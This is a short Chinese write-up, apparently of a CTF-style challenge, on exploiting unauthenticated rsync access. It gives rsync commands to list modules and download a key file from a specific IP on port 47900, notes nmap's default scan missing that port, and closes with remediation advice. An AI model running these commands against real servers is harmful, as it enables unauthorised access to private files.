0x00
這是第一次接觸到這個(gè)rsync,剛開始還以為是Redis未授權(quán)漏洞,竟然還在kali下使用redis-cli來連接23333
在做這一題需要先了解rsync這是個(gè)什么東西
rsync默認(rèn)端口873
rsync(remote synchronize)——Linux下實(shí)現(xiàn)遠(yuǎn)程同步功能的軟件,能同步更新兩處計(jì)算機(jī)的文件及目錄。在同步文件時(shí),可以保持源文件的權(quán)限、時(shí)間、軟硬鏈接等附加信息。常被用于在內(nèi)網(wǎng)進(jìn)行源代碼的分發(fā)及同步更新,因此使用人群多為開發(fā)人員;而開發(fā)人員安全意識(shí)薄弱、安全技能欠缺往往是導(dǎo)致rsync出現(xiàn)相關(guān)漏洞的根源。
rsync默認(rèn)配置文件為/etc/rsyncd.conf,常駐模式啟動(dòng)命令rsync –daemon,啟動(dòng)成功后默認(rèn)監(jiān)聽于TCP端口873,可通過rsync-daemon及ssh兩種方式進(jìn)行認(rèn)證。
0x01
其實(shí)主要知道幾條命令就行了:
rsync IP:: //這是在默認(rèn)條件下沒有改變默認(rèn)的端口,默認(rèn)密碼是::
rsync --port=xxx ip:: //如果修改了默認(rèn)端口就需要指定端口,這里就是需要自己指定47900端口
rsync -avz ip::www /tmp //-avz是下載文件的命令,前一個(gè)是目標(biāo)內(nèi)容,后一個(gè)是自己指定存儲(chǔ)在本地的路徑
rsync -avz --port=xxx ip::dddd /tmp
雖然知道了指定的端口,但是用一下nmap掃描一下端口情況
這里先不指定端口掃描,發(fā)現(xiàn)果然采用nmap的默認(rèn)策略掃描不出來,因?yàn)檫@里修改以后的端口是47900,超出了nmap默認(rèn)掃描的端口范圍。
這里又想起Redis的默認(rèn)端口6379不會(huì)被nmap掃描出來,很僵硬....
接下來直接嘗試使用rsync連接啦
rsync --port=47900 219.153.49.228::
rsync --port=47900 219.152.49.228::volume
rsync --port=47900 219.153.49.228::volume/key_1913718524583.php /tmp
完成~
關(guān)于rsync的修復(fù)主要就是修改默認(rèn)端口和設(shè)置連接的賬戶和密碼。
詳細(xì):https://hok1.github.io/2018/02/03/rsync%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE(%E9%99%84dockerfile/
這里還有一個(gè)seebug上的比較全的未授權(quán)訪問漏洞總結(jié)